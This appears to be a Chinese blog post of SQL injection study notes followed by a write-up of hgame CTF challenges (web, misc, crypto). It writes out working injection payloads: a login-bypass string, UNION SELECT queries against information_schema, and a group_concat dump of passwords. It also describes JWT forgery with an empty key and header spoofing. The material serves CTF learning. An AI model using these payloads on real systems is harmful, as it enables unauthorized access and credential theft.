文章目录

  • sql注入
    • 万能密码(最简单的sql注入)
    • 步骤
    • 注入攻击
      • 判断列数(字段数)
      • 判断回显点
      • database()
      • limit
      • group_concat
    • information_schema
  • hgame
    • web
      • 1
      • 2
      • 3
      • 4
    • misc
      • 1
      • 2
      • 3
      • 4
    • lot
    • CRYPTO
      • easyRSA

sql注入

sql语句


SELECT username, password FROM users WHERE username='$username' && password='$password'

万能密码(最简单的sql注入)

1‘ or 1=1#

  • 注释符也可以是–+
  • #是为了将后面的密码段给注释掉

步骤

  1. 找注入点(就是可以跟数据库进行交互的地方)

  2. 闭合语句(闭合了就能用SQL注入,不一定只是一个单引号)

  3. 注入攻击

注入攻击

  • 我们需要知道表名、字段名,想要的数据的某个标识

判断列数(字段数)

select username,password from user where username='1' order by 2

利用order by

  • 判断语句之后和注释之前的区域,可以随意操作
  • 利用order by 1 / 2 /…根据回显的报错情况来判断具体的列数

注意:username=的那个1不要用admin,不然直接默认输出admin了,无法判断回显点了

判断回显点

利用union select联合查询

他会追加在后面


mysql> SELECT username, password FROM users WHERE username='admin' union select 1,2;+----------+----------+| username | password |+----------+----------+| admin    | admin    || 1        | 2        |+----------+----------+

我们设置一个不存在的即可

database()

返回当前使用的数据库

limit


select * from users limit 0,2//数字型注入

从0开始查两个


0' or 1=1 limit 14,1#

group_concat

把一列的数据,全部整合到一起


select group_concat(password) from users;

如果我们知道表名,


username=1'union select (select password from users where username="flag"),2#&password=asdasdausername=1'union select password,2 from users where username="flag"#&password=asdasda

information_schema

查询表名

  • table_name:表名
  • information_schema.tables:里面含有数据库的所有表和表
  • table_schema=database():库名等于当前数据名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

查询字段名


1' union select group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='users'#

查数据

  • 知道了字段名,直接查里面的数据就行

1' union select group_concat(password),1 from users#

hgame

web

1

尊贵的admin写了个todo帮助自己管理日常,但他好像没调试完就部署了…一个月后,当他再一次打开他的小网站,似乎忘记了密码…他的todo之前记录了很重要的东西,快帮帮他
不要爆破!


那就换个用户名.

看见todo.题目说不能爆破密码,说明密码很难,不要反其道而行
抓包先看看
同个网站会有多个包,不停的放包观察,多点几次。如果是空白那就等一会儿

看!这有个token

接下来我们需要用到个网站jwt

是不是和token很相似?放里面观察

  • 我们不知道密钥是什么,那就试试当前的密钥
  • 比如我的用户名是pipa,我删掉最后一个字母,再加上最后一个字母。文本框和原来的不一样了。说明当前密钥不是我们所需
  • 那我们试试密钥为空,重新去掉再添加,发现文本框没变。那这个密钥就是空的。
  • 现在再把文本框里的放回包里

    出来了

2

这题居然点100关!我20关就放弃了哎。下次极限拉到100

憋着一肚子火

就这个。抓包

3

小游戏这题,无非在js里找

拉出来放控制台

4

先抓个包表敬意


这是个网站,可以放网站的地方:referer(从这个地方来)

注意要放在Connection:close的上面
这个Hachi-Roku像是个浏览器。放浏览器的地方:User-Agent

  • 发现Set-Cookie: flavor=Strawberry; 也就是重新设置cookie.
  • 题目又说是树莓味的,那把flavor=Raspberry放上去

    加汽油,找找哪里能加汽油。看到Gasoline:0 。把他加到100


最后一步。从本地,想到XFF(从这里来的)


这就是不能用XFF。那就换一个X-Real-IP

misc

1

签到题,微信关注得到flag

2

这个压缩包有点麻烦
打开压缩包,全都加密。注释里面写的是6位以内的纯数字。用Ziperello暴力解密

压缩包里面还有个加密压缩包。字典解码
用第一个压缩包里面附加的字典:password-note

包里还套密码包,这次明文攻击

两个后缀一模一样,说明是同个文件。进行明文攻击时,先把文件变成压缩包。注意特定格式

3

好看的流量
追踪tcp流

  • 这些全是base64编码,base64转图片

  • 翻找各个颜色通道

    在这里

    扫描二维码,得到一半flag hgame{ez_1mg_

  • 再用zsteg查看图片各种颜色通道,获取隐藏信息,在kali打开

zsteg /root/Desktop/下载.jfif --all


这里就是了

4

  • 音频隐写题,先用工具AudacityPortable看看波形图,还是挺正常的。
  • 再看看频谱图,不一样了,先记下来

    Yoasobi
  • 查看音频属性

    下载SlientEye


    看到了个网址,打开它,下载音频
    用工具RX-SSTV解码

    打开history,就会发现二维码,扫描二维码,最终得到flag

lot

用010打开文件,就能得到flag

CRYPTO

easyRSA

先看返回值

  • 先对第一组数据进行操作,打开RSAtool工具
  • e=12433 这要试一试,看e是十进制还是十六进制,最后结果表明e是十进制。但是工具里需要e为十六进制,那我们转换一下,得到e=3091

  • 看第一组以及以后的所有数据,它全是数字,说明都是十进制,图上NameberBase那里改成十进制
  • p=149,q=197,因为n=p*q,所以我们把n要算出来
  • 将p,q输进去,点Cale.D,剩下两个空就都出来了
  • 这时我们叫测试,要点Test,这工具第一次打开点不了Test,需要点一下Generate按钮,但要注意,点完后所有的数据都变了,需要重新输入
  • 这时候点击Test,新出现个小页面。因为我们要解密,所以需要用到第二个框

    这个该死的工具!
  • 必须先随便在第一行输个数,点击Encrypt,再在第二行把py第一组数据的104输进去
  • 点击Decrypt,解码h,就是hgame的第一个字母。然后剩余组的步骤一样。重复重复重复

[风信子培训]SQL注入+hgame相关推荐

  1. 米斯特白帽培训讲义 漏洞篇 SQL 注入

    米斯特白帽培训讲义 漏洞篇 SQL 注入 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理与危害 SQL 注入就是指,在输入的字符串中注入 SQL 语句,如果应用相信用户 ...

  2. 防止SQL注入解决方案

    防止SQL注入解决方案 在人员开发培训要最好玉先这样实施安全流程,可最大可能的减少这方面的问题-- STEP1:在设计方案上,采用参数化查询,如以下为JAVA为例: String sql = &quo ...

  3. 如何使用加密的Payload来识别并利用SQL注入漏洞

    写在前面的话 密码学具有诸多优点,信息的保密性同样离不开密码学,但是从历史经验来看,在保护应用和数据安全方面我们绝对不能过分依赖于密码学.在这篇文章中,安全教育培训专家SunilYadav将会讨论一个 ...

  4. sql server ssl安全错误_渗透测试 丨 SQL注入的攻与防

    " 注入攻击漏洞,例如SQL,OS以及LDAP注入.这些攻击发生在当不可信的数据作为命令或者查询语句的一部分,被发送给解释器的时候.攻击者发送的恶意数据可以欺骗解释器,以执行计划外的命令或者 ...

  5. sql 命令未正确结束_渗透测试之SQL注入(1)

    渗 透 测 试 之 SQL 注 入(1) 前言 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影 ...

  6. 网络安全--SQL注入介绍

    课程目标:讲解SQL注入的原理.特点.危害,SQL注入的攻击手法和MySQL注入的常用函数,讲解相关工具,如何去防御SQL注入. 任务目标:了解SQL注入相关概念,掌握SQL注入攻击手法,了解SQL注 ...

  7. 对搜狐 网易和TOM三大门户网站的SQL注入漏洞检测

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 对搜狐. ...

  8. SQL注入POST注入

    1. POST请求介绍 1.1 POST消息头实例 1.2 POST请求介绍 POST方法起初是用来向服务器输入数据的 POST发送数据给服务器处理,数据包含在HTTP信息正文中 POST请求会向指定 ...

  9. SQL注入Update注入

    1. MySQL中的update函数 如果我们需要修改或更新MysQL中的数据,我们可以使用SQLUPDATE命令来操作.首先更新某一行中的一个列. UPDATE table SET column=m ...

最新文章

  1. 绝地服务器维护7月5日,绝地求生7月5日更新到几点 吃鸡更新维护公告
  2. linux shell IFS分隔符 简介 IFS=$‘\n‘ 使用换行符做分隔符
  3. 格式字符串语法,摘取自JDK6
  4. MySQL 笔记7 -- 权限操作与视图
  5. python3网络爬虫(4):python3安装Scrapy
  6. python自定义异常类时、可以继承的类是_Python异常类型及处理、自定义异常类型、断言...
  7. 一篇关于兼容问题的基础总结
  8. LMAX Disruptor——一个高性能、低延迟且简单的框架
  9. 【JavaScript】JavaScript高级教程
  10. windows性能监视器基本指标
  11. Java抽签小程序(可控制抽几个人)(利用随机数与数组想结合)
  12. 职业学校计算机教学,职业学校计算机专业教学初探
  13. 高等数学知识框架梳理
  14. POWERSHELL脚本编写利器:PowerGUI Visual Studio Extension
  15. linux中添加中文输入法(汉语拼音)
  16. 小程序如何复用公众号资质快速认证
  17. Android 天气APP(六)旋转风车显示风力、风向
  18. Spring Boot SOAP系列之WSDL是什么“Lese”
  19. DruidCP源码阅读8 -- removeAbandoned机制
  20. 【程序】Marvell 88W8782/88W8801 WiFi模块创建或连接热点,并使用lwip2.1.3建立http服务器(20220213版)

热门文章

  1. 思维之数据分析思维小结
  2. 不拘一格纳贤才,千金豪情谋强军——摄星智能开启新一轮人才招募计划
  3. 暗黑破坏神:不朽 unity mmo arpg资源分包精讲
  4. 人脸识别撞脸名画_支付宝可以把你的脸和名画配对啦!想看看你像谁吗
  5. 有关Trojan-Downloader.Win32.QQHelper.**文件删除
  6. 百度-AI趣味课堂(三)
  7. 【富芮坤】 RF801xH的rost demo添加 OTA 功能
  8. ARAIM高级接收机自主完好性监测算法
  9. 警惕参数变化,MySQL 8.0 升级避免再次踩坑
  10. 前端框架---之----layui的使用